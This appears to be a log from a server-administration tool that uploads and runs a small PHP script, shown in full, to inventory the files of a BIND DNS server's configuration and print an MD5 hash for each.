MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 18:20:23: Establishing a connection
2026-01-03 18:20:24: 

PUT: /tmp/pkp119896

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 18:20:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp119896; rm /tmp/pkp119896'

2026-01-03 18:20:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
